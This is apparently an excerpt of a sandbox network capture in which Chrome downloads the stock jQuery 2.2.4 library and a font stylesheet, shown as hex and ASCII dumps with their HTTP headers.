2025-01-13 00:39:15 UTC	518	IN	Data Raw: 68 74 20 28 63 29 20 31 39 39 32 20 41 64 6f 62 65 20 53 79 73 74 65 6d 73 20 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 20 4d 79 72 69 61 64 20 69 73 20 61 20 74 72 61 64 65 6d 61 72 6b 20 6f 66 20 41 64 6f 62 65 20 53 79 73 74 65 6d 73 20 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 20 2a 2f 0d 0d 0a 7d 0d 0d 0a 0d 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 4d 79 72 69 61 64 20 53 65 74 20 50 72 6f 27 3b 0d 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0d 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 0d 0d 0a 09 73 72 63 3a 75 72 6c 28 22 6d 79 72 69 61 64 2d 73 65 74 2d 70 72 6f 5f 74 65 78 74 2e 65 6f 74 22 29 3b 0d 0d 0a Data Ascii: ht (c) 1992 Adobe Systems Incorporated. All Rights Reserved. Myriad is a trademark of Adobe Systems Incorporated. */}@font-face {font-family:'Myriad Set Pro';font-style:normal;font-weight:400;src:url("myriad-set-pro_text.eot");

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49753	151.101.194.137	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:39:16 UTC	531	OUT	GET /jquery-2.2.4.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://support.rv-rw.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:16 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 257551 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-3ee0f" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 13 Jan 2025 00:39:16 GMT Age: 750694 X-Served-By: cache-lga21969-LGA, cache-ewr-kewr1740069-EWR X-Cache: HIT, HIT X-Cache-Hits: 69, 1 X-Timer: S1736728756.159653,VS0,VE2 Vary: Accept-Encoding
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 32 2e 32 2e 34 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 36 2d 30 35 2d 32 30 54 31 Data Ascii: /! jQuery JavaScript Library v2.2.4 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2016-05-20T1
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 65 67 45 78 70 28 20 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 20 2b 20 77 68 69 74 65 73 70 61 63 65 20 2b 0a 09 09 09 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 20 2b 20 77 68 69 74 65 73 70 61 63 65 20 2b 20 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 20 2b 20 77 68 69 74 65 73 70 61 63 65 20 2b 0a 09 09 09 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 20 2b 20 77 68 69 74 65 73 70 61 63 65 20 2b 20 22 2a 5c 5c 29 7c 29 22 2c 20 22 69 22 20 29 2c 0a 09 09 22 62 6f 6f 6c 22 3a 20 6e 65 77 20 52 65 67 45 78 70 28 20 22 5e 28 3f 3a 22 20 2b 20 62 6f 6f 6c 65 61 6e 73 20 2b 20 22 29 24 22 2c 20 22 69 Data Ascii: egExp( "^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\$" + whitespace +"(even\|odd\|(([+-]\|)(\\d)n\|)" + whitespace + "(?:([+-]\|)" + whitespace +"(\\d+)\|))" + whitespace + "*\$\|)", "i" ),"bool": new RegExp( "^(?:" + booleans + ")$", "i
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 20 65 78 70 61 6e 64 6f 20 2b 20 22 2b 2a 22 20 29 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 72 62 75 67 67 79 51 53 41 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 3b 0a 09 09 09 7d 0a 09 09 7d 29 3b 0a 0a 09 09 61 73 73 65 72 74 28 66 75 6e 63 74 69 6f 6e 28 20 64 69 76 20 29 20 7b 0a 09 09 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 57 69 6e 64 6f 77 73 20 38 20 4e 61 74 69 76 65 20 41 70 70 73 0a 09 09 09 2f 2f 20 54 68 65 20 74 79 70 65 20 61 6e 64 20 6e 61 6d 65 20 61 74 74 72 69 62 75 74 65 73 20 61 72 65 20 72 65 73 74 72 69 63 74 65 64 20 64 75 72 69 6e 67 20 2e 69 6e 6e 65 72 48 54 4d 4c 20 61 73 73 69 67 6e 6d 65 6e 74 0a 09 09 09 76 61 72 20 69 6e 70 75 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 Data Ascii: expando + "+*" ).length ) {rbuggyQSA.push(".#.+[+~]");}});assert(function( div ) {// Support: Windows 8 Native Apps// The type and name attributes are restricted during .innerHTML assignmentvar input = document.createElement("
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 2f 73 65 6c 65 63 74 6f 72 73 2f 23 70 73 65 75 64 6f 2d 63 6c 61 73 73 65 73 0a 09 09 09 2f 2f 20 50 72 69 6f 72 69 74 69 7a 65 20 62 79 20 63 61 73 65 20 73 65 6e 73 69 74 69 76 69 74 79 20 69 6e 20 63 61 73 65 20 63 75 73 74 6f 6d 20 70 73 65 75 64 6f 73 20 61 72 65 20 61 64 64 65 64 20 77 69 74 68 20 75 70 70 65 72 63 61 73 65 20 6c 65 74 74 65 72 73 0a 09 09 09 2f 2f 20 52 65 6d 65 6d 62 65 72 20 74 68 61 74 20 73 65 74 46 69 6c 74 65 72 73 20 69 6e 68 65 72 69 74 73 20 66 72 6f 6d 20 70 73 65 75 64 6f 73 0a 09 09 09 76 61 72 20 61 72 67 73 2c 0a 09 09 09 09 66 6e 20 3d 20 45 78 70 72 2e 70 73 65 75 64 6f 73 5b 20 70 73 65 75 64 6f 20 5d 20 7c 7c 20 45 78 70 72 2e 73 65 74 46 69 6c 74 65 72 73 5b 20 70 73 65 75 64 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 Data Ascii: /selectors/#pseudo-classes// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters// Remember that setFilters inherits from pseudosvar args,fn = Expr.pseudos[ pseudo ] \|\| Expr.setFilters[ pseudo.toLowerCas
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 67 74 68 20 3e 20 30 2c 0a 09 09 73 75 70 65 72 4d 61 74 63 68 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 73 65 65 64 2c 20 63 6f 6e 74 65 78 74 2c 20 78 6d 6c 2c 20 72 65 73 75 6c 74 73 2c 20 6f 75 74 65 72 6d 6f 73 74 20 29 20 7b 0a 09 09 09 76 61 72 20 65 6c 65 6d 2c 20 6a 2c 20 6d 61 74 63 68 65 72 2c 0a 09 09 09 09 6d 61 74 63 68 65 64 43 6f 75 6e 74 20 3d 20 30 2c 0a 09 09 09 09 69 20 3d 20 22 30 22 2c 0a 09 09 09 09 75 6e 6d 61 74 63 68 65 64 20 3d 20 73 65 65 64 20 26 26 20 5b 5d 2c 0a 09 09 09 09 73 65 74 4d 61 74 63 68 65 64 20 3d 20 5b 5d 2c 0a 09 09 09 09 63 6f 6e 74 65 78 74 42 61 63 6b 75 70 20 3d 20 6f 75 74 65 72 6d 6f 73 74 43 6f 6e 74 65 78 74 2c 0a 09 09 09 09 2f 2f 20 57 65 20 6d 75 73 74 20 61 6c 77 61 79 73 20 68 61 76 65 20 65 69 Data Ascii: gth > 0,superMatcher = function( seed, context, xml, results, outermost ) {var elem, j, matcher,matchedCount = 0,i = "0",unmatched = seed && [],setMatched = [],contextBackup = outermostContext,// We must always have ei
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 6f 6e 20 6f 66 20 61 6e 20 65 6c 65 6d 65 6e 74 20 77 69 74 68 69 6e 20 74 68 65 20 73 65 74 0a 09 69 6e 64 65 78 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 20 29 20 7b 0a 0a 09 09 2f 2f 20 4e 6f 20 61 72 67 75 6d 65 6e 74 2c 20 72 65 74 75 72 6e 20 69 6e 64 65 78 20 69 6e 20 70 61 72 65 6e 74 0a 09 09 69 66 20 28 20 21 65 6c 65 6d 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 28 20 74 68 69 73 5b 20 30 20 5d 20 26 26 20 74 68 69 73 5b 20 30 20 5d 2e 70 61 72 65 6e 74 4e 6f 64 65 20 29 20 3f 20 74 68 69 73 2e 66 69 72 73 74 28 29 2e 70 72 65 76 41 6c 6c 28 29 2e 6c 65 6e 67 74 68 20 3a 20 2d 31 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 49 6e 64 65 78 20 69 6e 20 73 65 6c 65 63 74 6f 72 0a 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 65 6c 65 6d 20 3d 3d 3d 20 Data Ascii: on of an element within the setindex: function( elem ) {// No argument, return index in parentif ( !elem ) {return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;}// Index in selectorif ( typeof elem ===
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 61 62 6c 65 2c 20 6e 6f 6e 2d 77 72 69 74 61 62 6c 65 20 70 72 6f 70 65 72 74 79 0a 09 09 2f 2f 20 63 6f 6e 66 69 67 75 72 61 62 69 6c 69 74 79 20 6d 75 73 74 20 62 65 20 74 72 75 65 20 74 6f 20 61 6c 6c 6f 77 20 74 68 65 20 70 72 6f 70 65 72 74 79 20 74 6f 20 62 65 0a 09 09 2f 2f 20 64 65 6c 65 74 65 64 20 77 69 74 68 20 74 68 65 20 64 65 6c 65 74 65 20 6f 70 65 72 61 74 6f 72 0a 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 20 6f 77 6e 65 72 2c 20 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 20 7b 0a 09 09 09 09 76 61 6c 75 65 3a 20 76 61 6c 75 65 2c 0a 09 09 09 09 77 72 69 74 61 62 6c 65 3a 20 74 72 75 65 2c 0a 09 09 09 09 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 20 74 72 75 65 0a 09 09 09 7d 20 29 Data Ascii: able, non-writable property// configurability must be true to allow the property to be// deleted with the delete operator} else {Object.defineProperty( owner, this.expando, {value: value,writable: true,configurable: true} )
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 6f 62 61 6c 45 76 61 6c 22 20 29 0a 09 09 29 3b 0a 09 7d 0a 7d 0a 0a 0a 76 61 72 20 72 68 74 6d 6c 20 3d 20 2f 3c 7c 26 23 3f 5c 77 2b 3b 2f 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 62 75 69 6c 64 46 72 61 67 6d 65 6e 74 28 20 65 6c 65 6d 73 2c 20 63 6f 6e 74 65 78 74 2c 20 73 63 72 69 70 74 73 2c 20 73 65 6c 65 63 74 69 6f 6e 2c 20 69 67 6e 6f 72 65 64 20 29 20 7b 0a 09 76 61 72 20 65 6c 65 6d 2c 20 74 6d 70 2c 20 74 61 67 2c 20 77 72 61 70 2c 20 63 6f 6e 74 61 69 6e 73 2c 20 6a 2c 0a 09 09 66 72 61 67 6d 65 6e 74 20 3d 20 63 6f 6e 74 65 78 74 2e 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 28 29 2c 0a 09 09 6e 6f 64 65 73 20 3d 20 5b 5d 2c 0a 09 09 69 20 3d 20 30 2c 0a 09 09 6c 20 3d 20 65 6c 65 6d 73 2e 6c 65 6e 67 74 68 3b 0a 0a 09 66 Data Ascii: obalEval" ));}}var rhtml = /<\|&#?\w+;/;function buildFragment( elems, context, scripts, selection, ignored ) {var elem, tmp, tag, wrap, contains, j,fragment = context.createDocumentFragment(),nodes = [],i = 0,l = elems.length;f
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 20 53 75 70 70 6f 72 74 3a 20 53 61 66 61 72 69 20 36 2e 30 2b 2c 20 43 68 72 6f 6d 65 3c 32 38 0a 09 09 2f 2f 20 54 61 72 67 65 74 20 73 68 6f 75 6c 64 20 6e 6f 74 20 62 65 20 61 20 74 65 78 74 20 6e 6f 64 65 20 28 23 35 30 34 2c 20 23 31 33 31 34 33 29 0a 09 09 69 66 20 28 20 65 76 65 6e 74 2e 74 61 72 67 65 74 2e 6e 6f 64 65 54 79 70 65 20 3d 3d 3d 20 33 20 29 20 7b 0a 09 09 09 65 76 65 6e 74 2e 74 61 72 67 65 74 20 3d 20 65 76 65 6e 74 2e 74 61 72 67 65 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 0a 09 09 7d 0a 0a 09 09 72 65 74 75 72 6e 20 66 69 78 48 6f 6f 6b 2e 66 69 6c 74 65 72 20 3f 20 66 69 78 48 6f 6f 6b 2e 66 69 6c 74 65 72 28 20 65 76 65 6e 74 2c 20 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 20 29 20 3a 20 65 76 65 6e 74 3b 0a 09 7d 2c 0a 0a 09 73 70 Data Ascii: Support: Safari 6.0+, Chrome<28// Target should not be a text node (#504, #13143)if ( event.target.nodeType === 3 ) {event.target = event.target.parentNode;}return fixHook.filter ? fixHook.filter( event, originalEvent ) : event;},sp
2025-01-13 00:39:16 UTC	16384	IN	Data Raw: 28 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 2c 20 6e 75 6c 6c 2c 20 76 61 6c 75 65 2c 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 20 29 3b 0a 09 7d 2c 0a 0a 09 72 65 70 6c 61 63 65 57 69 74 68 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 76 61 72 20 69 67 6e 6f 72 65 64 20 3d 20 5b 5d 3b 0a 0a 09 09 2f 2f 20 4d 61 6b 65 20 74 68 65 20 63 68 61 6e 67 65 73 2c 20 72 65 70 6c 61 63 69 6e 67 20 65 61 63 68 20 6e 6f 6e 2d 69 67 6e 6f 72 65 64 20 63 6f 6e 74 65 78 74 20 65 6c 65 6d 65 6e 74 20 77 69 74 68 20 74 68 65 20 6e 65 77 20 63 6f 6e 74 65 6e 74 0a 09 09 72 65 74 75 72 6e 20 64 6f 6d 4d 61 6e 69 70 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 20 29 20 7b 0a 09 09 09 76 61 72 Data Ascii: ( value );}}, null, value, arguments.length );},replaceWith: function() {var ignored = [];// Make the changes, replacing each non-ignored context element with the new contentreturn domManip( this, arguments, function( elem ) {var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49761	151.101.130.137	443	6484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 00:39:17 UTC	354	OUT	GET /jquery-2.2.4.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 00:39:17 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 257551 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-3ee0f" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 750695 Date: Mon, 13 Jan 2025 00:39:17 GMT X-Served-By: cache-lga21969-LGA, cache-nyc-kteb1890059-NYC X-Cache: HIT, HIT X-Cache-Hits: 161, 0 X-Timer: S1736728757.273336,VS0,VE1 Vary: Accept-Encoding
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 32 2e 32 2e 34 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 36 2d 30 35 2d 32 30 54 31 Data Ascii: /! jQuery JavaScript Library v2.2.4 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2016-05-20T1
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 72 69 63 74 22 3b 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 61 74 20 3d 20 61 72 72 2e 63 6f 6e 63 61 74 3b 0a 0a 76 61 72 20 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 3b 0a 0a 76 61 72 20 69 6e 64 65 78 4f 66 20 3d 20 61 72 72 2e 69 6e 64 65 78 4f 66 3b 0a 0a 76 61 72 20 63 6c 61 73 73 32 74 79 70 65 20 3d 20 7b 7d 3b 0a 0a 76 61 72 20 74 6f 53 74 72 69 6e 67 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 0a 0a 76 61 72 20 68 61 73 4f 77 6e 20 3d 20 63 6c 61 73 73 32 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 0a 0a Data Ascii: rict";var arr = [];var document = window.document;var slice = arr.slice;var concat = arr.concat;var push = arr.push;var indexOf = arr.indexOf;var class2type = {};var toString = class2type.toString;var hasOwn = class2type.hasOwnProperty;
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 09 28 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 20 29 20 3a 0a 0a 09 09 09 2f 2f 20 52 65 74 75 72 6e 20 61 6c 6c 20 74 68 65 20 65 6c 65 6d 65 6e 74 73 20 69 6e 20 61 20 63 6c 65 61 6e 20 61 72 72 61 79 0a 09 09 09 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 Data Ascii: ust the one element from the set( num < 0 ? this[ num + this.length ] : this[ num ] ) :// Return all the elements in a clean arrayslice.call( this );},// Take an array of elements and push it onto the stack// (returning the new matched
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 2e 73 6f 72 74 2c 0a 09 73 70 6c 69 63 65 3a 20 61 72 72 2e 73 70 6c 69 63 65 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 Data Ascii: .sort,splice: arr.splice};jQuery.extend = jQuery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 20 63 6c 6f 6e 65 20 74 68 65 6d 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 64 65 65 70 2c 20 63 6c 6f 6e 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 Data Ascii: clone themtarget[ name ] = jQuery.extend( deep, clone, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.e
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 63 74 22 20 7c 7c 20 6f 62 6a 2e 6e 6f 64 65 54 79 70 65 20 7c 7c 20 6a 51 75 65 72 79 2e 69 73 57 69 6e 64 6f 77 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 4e 6f 74 20 6f 77 6e 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 70 72 6f 70 65 72 74 79 20 6d 75 73 74 20 62 65 20 4f 62 6a 65 63 74 0a 09 09 69 66 20 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 26 26 0a 09 09 09 09 21 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 20 6f 62 6a 2c 20 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 20 29 20 26 26 0a 09 09 09 09 21 68 61 73 4f 77 6e 2e 63 61 6c 6c 28 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 20 7c 7c 20 7b 7d 2c 20 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 Data Ascii: ct" \|\| obj.nodeType \|\| jQuery.isWindow( obj ) ) {return false;}// Not own constructor property must be Objectif ( obj.constructor &&!hasOwn.call( obj, "constructor" ) &&!hasOwn.call( obj.constructor.prototype \|\| {}, "isPrototypeOf"
2025-01-13 00:39:17 UTC	1378	IN	Data Raw: 69 73 65 2c 20 61 76 6f 69 64 20 74 68 65 20 44 4f 4d 20 6e 6f 64 65 20 63 72 65 61 74 69 6f 6e 2c 20 69 6e 73 65 72 74 69 6f 6e 0a 09 09 09 09 2f 2f 20 61 6e 64 20 72 65 6d 6f 76 61 6c 20 62 79 20 75 73 69 6e 67 20 61 6e 20 69 6e 64 69 72 65 63 74 20 67 6c 6f 62 61 6c 20 65 76 61 6c 0a 0a 09 09 09 09 69 6e 64 69 72 65 63 74 28 20 63 6f 64 65 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 2c 0a 0a 09 2f 2f 20 43 6f 6e 76 65 72 74 20 64 61 73 68 65 64 20 74 6f 20 63 61 6d 65 6c 43 61 73 65 3b 20 75 73 65 64 20 62 79 20 74 68 65 20 63 73 73 20 61 6e 64 20 64 61 74 61 20 6d 6f 64 75 6c 65 73 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 49 45 39 2d 31 31 2b 0a 09 2f 2f 20 4d 69 63 72 6f 73 6f 66 74 20 66 6f 72 67 6f 74 20 74 6f 20 68 75 6d 70 20 74 68 65 69 72 20 Data Ascii: ise, avoid the DOM node creation, insertion// and removal by using an indirect global evalindirect( code );}}},// Convert dashed to camelCase; used by the css and data modules// Support: IE9-11+// Microsoft forgot to hump their
